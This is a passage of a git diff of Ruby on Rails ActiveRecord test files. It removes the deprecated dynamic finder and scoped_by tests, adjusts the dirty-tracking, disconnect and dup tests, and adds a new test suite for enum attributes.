-    assert_kind_of Money, balance
-    found_customers = Customer.find_all_by_balance_and_name(balance, customers(:david).name)
-    assert_equal 1, found_customers.size
-    assert_equal customers(:david), found_customers.first
-  end
-
-  def test_find_all_by_one_attribute_with_options
-    topics = Topic.find_all_by_content("Have a nice day", :order => "id DESC")
-    assert_equal topics(:first), topics.last
-
-    topics = Topic.find_all_by_content("Have a nice day", :order => "id")
-    assert_equal topics(:first), topics.first
-  end
-
-  def test_find_all_by_array_attribute
-    assert_equal 2, Topic.find_all_by_title(["The First Topic", "The Second Topic of the day"]).size
-  end
-
-  def test_find_all_by_boolean_attribute
-    topics = Topic.find_all_by_approved(false)
-    assert_equal 1, topics.size
-    assert topics.include?(topics(:first))
-
-    topics = Topic.find_all_by_approved(true)
-    assert_equal 3, topics.size
-    assert topics.include?(topics(:second))
-  end
-
-  def test_find_all_by_nil_and_not_nil_attributes
-    topics = Topic.find_all_by_last_read_and_author_name nil, "Mary"
-    assert_equal 1, topics.size
-    assert_equal "Mary", topics[0].author_name
-  end
-
-  def test_find_or_create_from_one_attribute
-    number_of_companies = Company.count
-    sig38 = Company.find_or_create_by_name("38signals")
-    assert_equal number_of_companies + 1, Company.count
-    assert_equal sig38, Company.find_or_create_by_name("38signals")
-    assert sig38.persisted?
-  end
-
-  def test_find_or_create_from_two_attributes
-    number_of_topics = Topic.count
-    another = Topic.find_or_create_by_title_and_author_name("Another topic","John")
-    assert_equal number_of_topics + 1, Topic.count
-    assert_equal another, Topic.find_or_create_by_title_and_author_name("Another topic", "John")
-    assert another.persisted?
-  end
-
-  def test_find_or_create_from_one_attribute_bang
-    number_of_companies = Company.count
-    assert_raises(ActiveRecord::RecordInvalid) { Company.find_or_create_by_name!("") }
-    assert_equal number_of_companies, Company.count
-    sig38 = Company.find_or_create_by_name!("38signals")
-    assert_equal number_of_companies + 1, Company.count
-    assert_equal sig38, Company.find_or_create_by_name!("38signals")
-    assert sig38.persisted?
-  end
-
-  def test_find_or_create_from_two_attributes_bang
-    number_of_companies = Company.count
-    assert_raises(ActiveRecord::RecordInvalid) { Company.find_or_create_by_name_and_firm_id!("", 17) }
-    assert_equal number_of_companies, Company.count
-    sig38 = Company.find_or_create_by_name_and_firm_id!("38signals", 17)
-    assert_equal number_of_companies + 1, Company.count
-    assert_equal sig38, Company.find_or_create_by_name_and_firm_id!("38signals", 17)
-    assert sig38.persisted?
-    assert_equal "38signals", sig38.name
-    assert_equal 17, sig38.firm_id
-  end
-
-  def test_find_or_create_from_two_attributes_with_one_being_an_aggregate
-    number_of_customers = Customer.count
-    created_customer = Customer.find_or_create_by_balance_and_name(Money.new(123), "Elizabeth")
-    assert_equal number_of_customers + 1, Customer.count
-    assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123), "Elizabeth")
-    assert created_customer.persisted?
-  end
-
-  def test_find_or_create_from_one_attribute_and_hash
-    number_of_companies = Company.count
-    sig38 = Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
-    assert_equal number_of_companies + 1, Company.count
-    assert_equal sig38, Company.find_or_create_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
-    assert sig38.persisted?
-    assert_equal "38signals", sig38.name
-    assert_equal 17, sig38.firm_id
-    assert_equal 23, sig38.client_of
-  end
-
-  def test_find_or_create_from_two_attributes_and_hash
-    number_of_companies = Company.count
-    sig38 = Company.find_or_create_by_name_and_firm_id({:name => "38signals", :firm_id => 17, :client_of => 23})
-    assert_equal number_of_companies + 1, Company.count
-    assert_equal sig38, Company.find_or_create_by_name_and_firm_id({:name => "38signals", :firm_id => 17, :client_of => 23})
-    assert sig38.persisted?
-    assert_equal "38signals", sig38.name
-    assert_equal 17, sig38.firm_id
-    assert_equal 23, sig38.client_of
-  end
-
-  def test_find_or_create_from_one_aggregate_attribute
-    number_of_customers = Customer.count
-    created_customer = Customer.find_or_create_by_balance(Money.new(123))
-    assert_equal number_of_customers + 1, Customer.count
-    assert_equal created_customer, Customer.find_or_create_by_balance(Money.new(123))
-    assert created_customer.persisted?
-  end
-
-  def test_find_or_create_from_one_aggregate_attribute_and_hash
-    number_of_customers = Customer.count
-    balance = Money.new(123)
-    name = "Elizabeth"
-    created_customer = Customer.find_or_create_by_balance({:balance => balance, :name => name})
-    assert_equal number_of_customers + 1, Customer.count
-    assert_equal created_customer, Customer.find_or_create_by_balance({:balance => balance, :name => name})
-    assert created_customer.persisted?
-    assert_equal balance, created_customer.balance
-    assert_equal name, created_customer.name
-  end
-
-  def test_find_or_initialize_from_one_attribute
-    sig38 = Company.find_or_initialize_by_name("38signals")
-    assert_equal "38signals", sig38.name
-    assert !sig38.persisted?
-  end
-
-  def test_find_or_initialize_from_one_aggregate_attribute
-    new_customer = Customer.find_or_initialize_by_balance(Money.new(123))
-    assert_equal 123, new_customer.balance.amount
-    assert !new_customer.persisted?
-  end
-
-  def test_find_or_initialize_from_one_attribute_should_set_attribute
-    c = Company.find_or_initialize_by_name_and_rating("Fortune 1000", 1000)
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000, c.rating
-    assert c.valid?
-    assert !c.persisted?
-  end
-
-  def test_find_or_create_from_one_attribute_should_set_attribute
-    c = Company.find_or_create_by_name_and_rating("Fortune 1000", 1000)
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000, c.rating
-    assert c.valid?
-    assert c.persisted?
-  end
-
-  def test_find_or_initialize_from_one_attribute_should_set_attribute_even_when_set_the_hash
-    c = Company.find_or_initialize_by_rating(1000, {:name => "Fortune 1000"})
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000, c.rating
-    assert c.valid?
-    assert !c.persisted?
-  end
-
-  def test_find_or_create_from_one_attribute_should_set_attribute_even_when_set_the_hash
-    c = Company.find_or_create_by_rating(1000, {:name => "Fortune 1000"})
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000, c.rating
-    assert c.valid?
-    assert c.persisted?
-  end
-
-  def test_find_or_initialize_should_set_attributes_if_given_as_block
-    c = Company.find_or_initialize_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000.to_f, c.rating.to_f
-    assert c.valid?
-    assert !c.persisted?
-  end
-
-  def test_find_or_create_should_set_attributes_if_given_as_block
-    c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000.to_f, c.rating.to_f
-    assert c.valid?
-    assert c.persisted?
-  end
-
-  def test_find_or_create_should_work_with_block_on_first_call
-	  class << Company
-		undef_method(:find_or_create_by_name) if method_defined?(:find_or_create_by_name)
-	  end
-    c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
-    assert_equal "Fortune 1000", c.name
-    assert_equal 1000.to_f, c.rating.to_f
-    assert c.valid?
-    assert c.persisted?
-  end
-
-  def test_find_or_initialize_from_two_attributes
-    another = Topic.find_or_initialize_by_title_and_author_name("Another topic","John")
-    assert_equal "Another topic", another.title
-    assert_equal "John", another.author_name
-    assert !another.persisted?
-  end
-
-  def test_find_or_initialize_from_two_attributes_but_passing_only_one
-    assert_raise(ArgumentError) { Topic.find_or_initialize_by_title_and_author_name("Another topic") }
-  end
-
-  def test_find_or_initialize_from_one_aggregate_attribute_and_one_not
-    new_customer = Customer.find_or_initialize_by_balance_and_name(Money.new(123), "Elizabeth")
-    assert_equal 123, new_customer.balance.amount
-    assert_equal "Elizabeth", new_customer.name
-    assert !new_customer.persisted?
-  end
-
-  def test_find_or_initialize_from_one_attribute_and_hash
-    sig38 = Company.find_or_initialize_by_name({:name => "38signals", :firm_id => 17, :client_of => 23})
-    assert_equal "38signals", sig38.name
-    assert_equal 17, sig38.firm_id
-    assert_equal 23, sig38.client_of
-    assert !sig38.persisted?
-  end
-
-  def test_find_or_initialize_from_one_aggregate_attribute_and_hash
-    balance = Money.new(123)
-    name = "Elizabeth"
-    new_customer = Customer.find_or_initialize_by_balance({:balance => balance, :name => name})
-    assert_equal balance, new_customer.balance
-    assert_equal name, new_customer.name
-    assert !new_customer.persisted?
-  end
-
-  def test_find_last_by_one_attribute
-    assert_equal Topic.last, Topic.find_last_by_title(Topic.last.title)
-    assert_nil Topic.find_last_by_title("A title with no matches")
-  end
-
-  def test_find_last_by_invalid_method_syntax
-    assert_raise(NoMethodError) { Topic.fail_to_find_last_by_title("The First Topic") }
-    assert_raise(NoMethodError) { Topic.find_last_by_title?("The First Topic") }
-  end
-
-  def test_find_last_by_one_attribute_with_several_options
-    assert_equal accounts(:signals37), Account.order('id DESC').where('id != ?', 3).find_last_by_credit_limit(50)
-  end
-
-  def test_find_last_by_one_missing_attribute
-    assert_raise(NoMethodError) { Topic.find_last_by_undertitle("The Last Topic!") }
-  end
-
-  def test_find_last_by_two_attributes
-    topic = Topic.last
-    assert_equal topic, Topic.find_last_by_title_and_author_name(topic.title, topic.author_name)
-    assert_nil Topic.find_last_by_title_and_author_name(topic.title, "Anonymous")
-  end
-
-  def test_find_last_with_limit_gives_same_result_when_loaded_and_unloaded
-    scope = Topic.limit(2)
-    unloaded_last = scope.last
-    loaded_last = scope.to_a.last
-    assert_equal loaded_last, unloaded_last
-  end
-
-  def test_find_last_with_limit_and_offset_gives_same_result_when_loaded_and_unloaded
-    scope = Topic.offset(2).limit(2)
-    unloaded_last = scope.last
-    loaded_last = scope.to_a.last
-    assert_equal loaded_last, unloaded_last
-  end
-
-  def test_find_last_with_offset_gives_same_result_when_loaded_and_unloaded
-    scope = Topic.offset(3)
-    unloaded_last = scope.last
-    loaded_last = scope.to_a.last
-    assert_equal loaded_last, unloaded_last
-  end
-
-  def test_find_all_by_nil_attribute
-    topics = Topic.find_all_by_last_read nil
-    assert_equal 3, topics.size
-    assert topics.collect(&:last_read).all?(&:nil?)
-  end
-
-  def test_forwarding_to_dynamic_finders
-    welcome = Post.find(1)
-    assert_equal 4, Category.find_all_by_type('SpecialCategory').size
-    assert_equal 0, welcome.categories.find_all_by_type('SpecialCategory').size
-    assert_equal 2, welcome.categories.find_all_by_type('Category').size
-  end
-
-  def test_dynamic_find_all_should_respect_association_order
-    assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.where("type = 'Client'").to_a
-    assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.find_all_by_type('Client')
-  end
-
-  def test_dynamic_find_all_should_respect_association_limit
-    assert_equal 1, companies(:first_firm).limited_clients.where("type = 'Client'").to_a.length
-    assert_equal 1, companies(:first_firm).limited_clients.find_all_by_type('Client').length
-  end
-
-  def test_dynamic_find_all_limit_should_override_association_limit
-    assert_equal 2, companies(:first_firm).limited_clients.where("type = 'Client'").limit(9_000).to_a.length
-    assert_equal 2, companies(:first_firm).limited_clients.find_all_by_type('Client', :limit => 9_000).length
-  end
-
-  def test_dynamic_find_last_without_specified_order
-    assert_equal companies(:second_client), companies(:first_firm).unsorted_clients.find_last_by_type('Client')
-  end
-
-  def test_dynamic_find_or_create_from_two_attributes_using_an_association
-    author = authors(:david)
-    number_of_posts = Post.count
-    another = author.posts.find_or_create_by_title_and_body("Another Post", "This is the Body")
-    assert_equal number_of_posts + 1, Post.count
-    assert_equal another, author.posts.find_or_create_by_title_and_body("Another Post", "This is the Body")
-    assert another.persisted?
-  end
-
-  def test_dynamic_find_all_should_respect_association_order_for_through
-    assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.where("comments.type = 'SpecialComment'").to_a
-    assert_equal [Comment.find(10), Comment.find(7), Comment.find(6), Comment.find(3)], authors(:david).comments_desc.find_all_by_type('SpecialComment')
-  end
-
-  def test_dynamic_find_all_should_respect_association_limit_for_through
-    assert_equal 1, authors(:david).limited_comments.where("comments.type = 'SpecialComment'").to_a.length
-    assert_equal 1, authors(:david).limited_comments.find_all_by_type('SpecialComment').length
-  end
-
-  def test_dynamic_find_all_order_should_override_association_limit_for_through
-    assert_equal 4, authors(:david).limited_comments.where("comments.type = 'SpecialComment'").limit(9_000).to_a.length
-    assert_equal 4, authors(:david).limited_comments.find_all_by_type('SpecialComment', :limit => 9_000).length
-  end
-
-  def test_find_all_include_over_the_same_table_for_through
-    assert_equal 2, people(:michael).posts.includes(:people).to_a.length
-  end
-
-  def test_find_or_create_by_resets_cached_counters
-    person = Person.create! :first_name => 'tenderlove'
-    post   = Post.first
-
-    assert_equal [], person.readers
-    assert_nil person.readers.find_by_post_id(post.id)
-
-    person.readers.find_or_create_by_post_id(post.id)
-
-    assert_equal 1, person.readers.count
-    assert_equal 1, person.readers.length
-    assert_equal post, person.readers.first.post
-    assert_equal person, person.readers.first.person
-  end
-
-  def test_find_or_initialize
-    the_client = companies(:first_firm).clients.find_or_initialize_by_name("Yet another client")
-    assert_equal companies(:first_firm).id, the_client.firm_id
-    assert_equal "Yet another client", the_client.name
-    assert !the_client.persisted?
-  end
-
-  def test_find_or_create_updates_size
-    number_of_clients = companies(:first_firm).clients.size
-    the_client = companies(:first_firm).clients.find_or_create_by_name("Yet another client")
-    assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
-    assert_equal the_client, companies(:first_firm).clients.find_or_create_by_name("Yet another client")
-    assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
-  end
-
-  def test_find_or_initialize_updates_collection_size
-    number_of_clients = companies(:first_firm).clients_of_firm.size
-    companies(:first_firm).clients_of_firm.find_or_initialize_by_name("name" => "Another Client")
-    assert_equal number_of_clients + 1, companies(:first_firm).clients_of_firm.size
-  end
-
-  def test_find_or_initialize_returns_the_instantiated_object
-    client = companies(:first_firm).clients_of_firm.find_or_initialize_by_name("name" => "Another Client")
-    assert_equal client, companies(:first_firm).clients_of_firm[-1]
-  end
-
-  def test_find_or_initialize_only_instantiates_a_single_object
-    number_of_clients = Client.count
-    companies(:first_firm).clients_of_firm.find_or_initialize_by_name("name" => "Another Client").save!
-    companies(:first_firm).save!
-    assert_equal number_of_clients+1, Client.count
-  end
-
-  def test_find_or_create_with_hash
-    post = authors(:david).posts.find_or_create_by_title(:title => 'Yet another post', :body => 'somebody')
-    assert_equal post, authors(:david).posts.find_or_create_by_title(:title => 'Yet another post', :body => 'somebody')
-    assert post.persisted?
-  end
-
-  def test_find_or_create_with_one_attribute_followed_by_hash
-    post = authors(:david).posts.find_or_create_by_title('Yet another post', :body => 'somebody')
-    assert_equal post, authors(:david).posts.find_or_create_by_title('Yet another post', :body => 'somebody')
-    assert post.persisted?
-  end
-
-  def test_find_or_create_should_work_with_block
-    post = authors(:david).posts.find_or_create_by_title('Yet another post') {|p| p.body = 'somebody'}
-    assert_equal post, authors(:david).posts.find_or_create_by_title('Yet another post') {|p| p.body = 'somebody'}
-    assert post.persisted?
-  end
-
-  def test_forwarding_to_dynamic_finders_2
-    welcome = Post.find(1)
-    assert_equal 4, Comment.find_all_by_type('Comment').size
-    assert_equal 2, welcome.comments.find_all_by_type('Comment').size
-  end
-
-  def test_dynamic_find_all_by_attributes
-    authors = Author.all
-
-    davids = authors.find_all_by_name('David')
-    assert_kind_of Array, davids
-    assert_equal [authors(:david)], davids
-  end
-
-  def test_dynamic_find_or_initialize_by_attributes
-    authors = Author.all
-
-    lifo = authors.find_or_initialize_by_name('Lifo')
-    assert_equal "Lifo", lifo.name
-    assert !lifo.persisted?
-
-    assert_equal authors(:david), authors.find_or_initialize_by_name(:name => 'David')
-  end
-
-  def test_dynamic_find_or_create_by_attributes
-    authors = Author.all
-
-    lifo = authors.find_or_create_by_name('Lifo')
-    assert_equal "Lifo", lifo.name
-    assert lifo.persisted?
-
-    assert_equal authors(:david), authors.find_or_create_by_name(:name => 'David')
-  end
-
-  def test_dynamic_find_or_create_by_attributes_bang
-    authors = Author.all
-
-    assert_raises(ActiveRecord::RecordInvalid) { authors.find_or_create_by_name!('') }
-
-    lifo = authors.find_or_create_by_name!('Lifo')
-    assert_equal "Lifo", lifo.name
-    assert lifo.persisted?
-
-    assert_equal authors(:david), authors.find_or_create_by_name!(:name => 'David')
-  end
-
-  def test_finder_block
-    t = Topic.first
-    found = nil
-    Topic.find_by_id(t.id) { |f| found = f }
-    assert_equal t, found
-  end
-
-  def test_finder_block_nothing_found
-    bad_id = Topic.maximum(:id) + 1
-    assert_nil Topic.find_by_id(bad_id) { |f| raise }
-  end
-
-  def test_find_returns_block_value
-    t = Topic.first
-    x = Topic.find_by_id(t.id) { |f| "hi mom!" }
-    assert_equal "hi mom!", x
-  end
-
-  def test_dynamic_finder_with_invalid_params
-    assert_raise(ArgumentError) { Topic.find_by_title 'No Title', :join => "It should be `joins'" }
-  end
-
-  def test_find_by_one_attribute_with_order_option
-    assert_equal accounts(:signals37), Account.find_by_credit_limit(50, :order => 'id')
-    assert_equal accounts(:rails_core_account), Account.find_by_credit_limit(50, :order => 'id DESC')
-  end
-
-  def test_dynamic_find_by_attributes_should_yield_found_object
-    david = authors(:david)
-    yielded_value = nil
-    Author.find_by_name(david.name) do |author|
-      yielded_value = author
-    end
-    assert_equal david, yielded_value
-  end
-end
-
-class DynamicScopeTest < ActiveRecord::TestCase
-  fixtures :posts
-
-  def setup
-    @test_klass = Class.new(Post) do
-      def self.name; "Post"; end
-    end
-    @deprecation_behavior = ActiveSupport::Deprecation.behavior
-    ActiveSupport::Deprecation.behavior = :silence
-  end
-
-  def teardown
-    ActiveSupport::Deprecation.behavior = @deprecation_behavior
-  end
-
-  def test_dynamic_scope
-    assert_equal @test_klass.scoped_by_author_id(1).find(1), @test_klass.find(1)
-    assert_equal @test_klass.scoped_by_author_id_and_title(1, "Welcome to the weblog").first, @test_klass.all.merge!(:where => { :author_id => 1, :title => "Welcome to the weblog"}).first
-  end
-
-  def test_dynamic_scope_should_create_methods_after_hitting_method_missing
-    assert @test_klass.methods.grep(/scoped_by_type/).blank?
-    @test_klass.scoped_by_type(nil)
-    assert @test_klass.methods.grep(/scoped_by_type/).present?
-  end
-
-  def test_dynamic_scope_with_less_number_of_arguments
-    assert_raise(ArgumentError){ @test_klass.scoped_by_author_id_and_title(1) }
-  end
-end
-
-class DynamicScopeMatchTest < ActiveRecord::TestCase
-  def test_scoped_by_no_match
-    assert_nil ActiveRecord::DynamicMatchers::Method.match(nil, "not_scoped_at_all")
-  end
-
-  def test_scoped_by
-    model = stub(attribute_aliases: {})
-    match = ActiveRecord::DynamicMatchers::Method.match(model, "scoped_by_age_and_sex_and_location")
-    assert_not_nil match
-    assert_equal %w(age sex location), match.attribute_names
-  end
-end
diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb
index 36b8703..df4183c 100644
--- a/activerecord/test/cases/dirty_test.rb
+++ b/activerecord/test/cases/dirty_test.rb
@@ -125,30 +125,30 @@ class DirtyTest < ActiveRecord::TestCase
   end
 
   def test_time_attributes_changes_without_time_zone
-    target = Class.new(ActiveRecord::Base)
-    target.table_name = 'pirates'
-
-    target.time_zone_aware_attributes = false
+    with_timezone_config aware_attributes: false do
+      target = Class.new(ActiveRecord::Base)
+      target.table_name = 'pirates'
 
-    # New record - no changes.
-    pirate = target.new
-    assert !pirate.created_on_changed?
-    assert_nil pirate.created_on_change
+      # New record - no changes.
+      pirate = target.new
+      assert !pirate.created_on_changed?
+      assert_nil pirate.created_on_change
 
-    # Saved - no changes.
-    pirate.catchphrase = 'arrrr, time zone!!'
-    pirate.save!
-    assert !pirate.created_on_changed?
-    assert_nil pirate.created_on_change
+      # Saved - no changes.
+      pirate.catchphrase = 'arrrr, time zone!!'
+      pirate.save!
+      assert !pirate.created_on_changed?
+      assert_nil pirate.created_on_change
 
-    # Change created_on.
-    old_created_on = pirate.created_on
-    pirate.created_on = Time.now + 1.day
-    assert pirate.created_on_changed?
-    # kind_of does not work because
-    # ActiveSupport::TimeWithZone.name == 'Time'
-    assert_instance_of Time, pirate.created_on_was
-    assert_equal old_created_on, pirate.created_on_was
+      # Change created_on.
+      old_created_on = pirate.created_on
+      pirate.created_on = Time.now + 1.day
+      assert pirate.created_on_changed?
+      # kind_of does not work because
+      # ActiveSupport::TimeWithZone.name == 'Time'
+      assert_instance_of Time, pirate.created_on_was
+      assert_equal old_created_on, pirate.created_on_was
+    end
   end
 
 
@@ -584,6 +584,14 @@ class DirtyTest < ActiveRecord::TestCase
     end
   end
 
+  def test_datetime_attribute_doesnt_change_if_zone_is_modified_in_string
+    time_in_paris = Time.utc(2014, 1, 1, 12, 0, 0).in_time_zone('Paris')
+    pirate = Pirate.create!(:catchphrase => 'rrrr', :created_on => time_in_paris)
+
+    pirate.created_on = pirate.created_on.in_time_zone('Tokyo').to_s
+    assert !pirate.created_on_changed?
+  end
+
   test "partial insert" do
     with_partial_writes Person do
       jon = nil
@@ -608,20 +616,6 @@ class DirtyTest < ActiveRecord::TestCase
     end
   end
 
-  test "partial_updates config attribute is deprecated" do
-    klass = Class.new(ActiveRecord::Base)
-
-    assert klass.partial_writes?
-    assert_deprecated { assert klass.partial_updates? }
-    assert_deprecated { assert klass.partial_updates  }
-
-    assert_deprecated { klass.partial_updates = false }
-
-    assert !klass.partial_writes?
-    assert_deprecated { assert !klass.partial_updates? }
-    assert_deprecated { assert !klass.partial_updates  }
-  end
-
   private
     def with_partial_writes(klass, on = true)
       old = klass.partial_writes?
diff --git a/activerecord/test/cases/disconnected_test.rb b/activerecord/test/cases/disconnected_test.rb
index 1fecfd0..9e268da 100644
--- a/activerecord/test/cases/disconnected_test.rb
+++ b/activerecord/test/cases/disconnected_test.rb
@@ -7,7 +7,6 @@ class TestDisconnectedAdapter < ActiveRecord::TestCase
   self.use_transactional_fixtures = false
 
   def setup
-    skip "in-memory database mustn't disconnect" if in_memory_db?
     @connection = ActiveRecord::Base.connection
   end
 
@@ -17,11 +16,13 @@ class TestDisconnectedAdapter < ActiveRecord::TestCase
     ActiveRecord::Base.establish_connection(spec)
   end
 
-  test "can't execute statements while disconnected" do
-    @connection.execute "SELECT count(*) from products"
-    @connection.disconnect!
-    assert_raises(ActiveRecord::StatementInvalid) do
+  unless in_memory_db?
+    test "can't execute statements while disconnected" do
       @connection.execute "SELECT count(*) from products"
+      @connection.disconnect!
+      assert_raises(ActiveRecord::StatementInvalid) do
+        @connection.execute "SELECT count(*) from products"
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/dup_test.rb b/activerecord/test/cases/dup_test.rb
index f73e449..1e6ccec 100644
--- a/activerecord/test/cases/dup_test.rb
+++ b/activerecord/test/cases/dup_test.rb
@@ -126,7 +126,7 @@ module ActiveRecord
 
     def test_dup_with_default_scope
       prev_default_scopes = Topic.default_scopes
-      Topic.default_scopes = [Topic.where(:approved => true)]
+      Topic.default_scopes = [proc { Topic.where(:approved => true) }]
       topic = Topic.new(:approved => false)
       assert !topic.dup.approved?, "should not be overridden by default scopes"
     ensure
diff --git a/activerecord/test/cases/enum_test.rb b/activerecord/test/cases/enum_test.rb
new file mode 100644
index 0000000..3b2f0df
--- /dev/null
+++ b/activerecord/test/cases/enum_test.rb
@@ -0,0 +1,289 @@
+require 'cases/helper'
+require 'models/book'
+
+class EnumTest < ActiveRecord::TestCase
+  fixtures :books
+
+  setup do
+    @book = books(:awdr)
+  end
+
+  test "query state by predicate" do
+    assert @book.proposed?
+    assert_not @book.written?
+    assert_not @book.published?
+
+    assert @book.unread?
+  end
+
+  test "query state with strings" do
+    assert_equal "proposed", @book.status
+    assert_equal "unread", @book.read_status
+  end
+
+  test "find via scope" do
+    assert_equal @book, Book.proposed.first
+    assert_equal @book, Book.unread.first
+  end
+
+  test "update by declaration" do
+    @book.written!
+    assert @book.written?
+  end
+
+  test "update by setter" do
+    @book.update! status: :written
+    assert @book.written?
+  end
+
+  test "enum methods are overwritable" do
+    assert_equal "do publish work...", @book.published!
+    assert @book.published?
+  end
+
+  test "direct assignment" do
+    @book.status = :written
+    assert @book.written?
+  end
+
+  test "assign string value" do
+    @book.status = "written"
+    assert @book.written?
+  end
+
+  test "enum changed attributes" do
+    old_status = @book.status
+    @book.status = :published
+    assert_equal old_status, @book.changed_attributes[:status]
+  end
+
+  test "enum changes" do
+    old_status = @book.status
+    @book.status = :published
+    assert_equal [old_status, 'published'], @book.changes[:status]
+  end
+
+  test "enum attribute was" do
+    old_status = @book.status
+    @book.status = :published
+    assert_equal old_status, @book.attribute_was(:status)
+  end
+
+  test "enum attribute changed" do
+    @book.status = :published
+    assert @book.attribute_changed?(:status)
+  end
+
+  test "enum attribute changed to" do
+    @book.status = :published
+    assert @book.attribute_changed?(:status, to: 'published')
+  end
+
+  test "enum attribute changed from" do
+    old_status = @book.status
+    @book.status = :published
+    assert @book.attribute_changed?(:status, from: old_status)
+  end
+
+  test "enum attribute changed from old status to new status" do
+    old_status = @book.status
+    @book.status = :published
+    assert @book.attribute_changed?(:status, from: old_status, to: 'published')
+  end
+
+  test "enum didn't change" do
+    old_status = @book.status
+    @book.status = old_status
+    assert_not @book.attribute_changed?(:status)
+  end
+
+  test "persist changes that are dirty" do
+    @book.status = :published
+    assert @book.attribute_changed?(:status)
+    @book.status = :written
+    assert @book.attribute_changed?(:status)
+  end
+
+  test "reverted changes that are not dirty" do
+    old_status = @book.status
+    @book.status = :published
+    assert @book.attribute_changed?(:status)
+    @book.status = old_status
+    assert_not @book.attribute_changed?(:status)
+  end
+
+  test "reverted changes are not dirty going from nil to value and back" do
+    book = Book.create!(nullable_status: nil)
+
+    book.nullable_status = :married
+    assert book.attribute_changed?(:nullable_status)
+
+    book.nullable_status = nil
+    assert_not book.attribute_changed?(:nullable_status)
+  end
+
+  test "assign non existing value raises an error" do
+    e = assert_raises(ArgumentError) do
+      @book.status = :unknown
+    end
+    assert_equal "'unknown' is not a valid status", e.message
+  end
+
+  test "assign nil value" do
+    @book.status = nil
+    assert @book.status.nil?
+  end
+
+  test "assign empty string value" do
+    @book.status = ''
+    assert @book.status.nil?
+  end
+
+  test "assign long empty string value" do
+    @book.status = '   '
+    assert @book.status.nil?
+  end
+
+  test "constant to access the mapping" do
+    assert_equal 0, Book.statuses[:proposed]
+    assert_equal 1, Book.statuses["written"]
+    assert_equal 2, Book.statuses[:published]
+  end
+
+  test "building new objects with enum scopes" do
+    assert Book.written.build.written?
+    assert Book.read.build.read?
+  end
+
+  test "creating new objects with enum scopes" do
+    assert Book.written.create.written?
+    assert Book.read.create.read?
+  end
+
+  test "_before_type_cast returns the enum label (required for form fields)" do
+    assert_equal "proposed", @book.status_before_type_cast
+  end
+
+  test "reserved enum names" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum status: [:proposed, :written, :published]
+    end
+
+    conflicts = [
+      :column,     # generates class method .columns, which conflicts with an AR method
+      :logger,     # generates #logger, which conflicts with an AR method
+      :attributes, # generates #attributes=, which conflicts with an AR method
+    ]
+
+    conflicts.each_with_index do |name, i|
+      assert_raises(ArgumentError, "enum name `#{name}` should not be allowed") do
+        klass.class_eval { enum name => ["value_#{i}"] }
+      end
+    end
+  end
+
+  test "reserved enum values" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum status: [:proposed, :written, :published]
+    end
+
+    conflicts = [
+      :new,      # generates a scope that conflicts with an AR class method
+      :valid,    # generates #valid?, which conflicts with an AR method
+      :save,     # generates #save!, which conflicts with an AR method
+      :proposed, # same value as an existing enum
+      :public, :private, :protected, # generates a method that conflict with ruby words
+    ]
+
+    conflicts.each_with_index do |value, i|
+      assert_raises(ArgumentError, "enum value `#{value}` should not be allowed") do
+        klass.class_eval { enum "status_#{i}" => [value] }
+      end
+    end
+  end
+
+  test "overriding enum method should not raise" do
+    assert_nothing_raised do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+
+        def published!
+          super
+          "do publish work..."
+        end
+
+        enum status: [:proposed, :written, :published]
+
+        def written!
+          super
+          "do written work..."
+        end
+      end
+    end
+  end
+
+  test "validate uniqueness" do
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; 'Book'; end
+      enum status: [:proposed, :written]
+      validates_uniqueness_of :status
+    end
+    klass.delete_all
+    klass.create!(status: "proposed")
+    book = klass.new(status: "written")
+    assert book.valid?
+    book.status = "proposed"
+    assert_not book.valid?
+  end
+
+  test "validate inclusion of value in array" do
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; 'Book'; end
+      enum status: [:proposed, :written]
+      validates_inclusion_of :status, in: ["written"]
+    end
+    klass.delete_all
+    invalid_book = klass.new(status: "proposed")
+    assert_not invalid_book.valid?
+    valid_book = klass.new(status: "written")
+    assert valid_book.valid?
+  end
+
+  test "enums are distinct per class" do
+    klass1 = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum status: [:proposed, :written]
+    end
+
+    klass2 = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+      enum status: [:drafted, :uploaded]
+    end
+
+    book1 = klass1.proposed.create!
+    book1.status = :written
+    assert_equal ['proposed', 'written'], book1.status_change
+
+    book2 = klass2.drafted.create!
+    book2.status = :uploaded
+    assert_equal ['drafted', 'uploaded'], book2.status_change
+  end
+
+  test "enums are inheritable" do
+    subklass1 = Class.new(Book)
+
+    subklass2 = Class.new(Book) do
+      enum status: [:drafted, :uploaded]
+    end
+
+    book1 = subklass1.proposed.create!
+    book1.status = :written
+    assert_equal ['proposed', 'written'], book1.status_change
+
+    book2 = subklass2.drafted.create!
+    book2.status = :uploaded
+    assert_equal ['drafted', 'uploaded'], book2.status_change
+  end
+end
diff --git a/activerecord/test/cases/finder_respond_to_test.rb b/activerecord/test/cases/finder_respond_to_test.rb
index 2d0d8ad..6ab2657 100644
--- a/activerecord/test/cases/finder_respond_to_test.rb
+++ b/activerecord/test/cases/finder_respond_to_test.rb
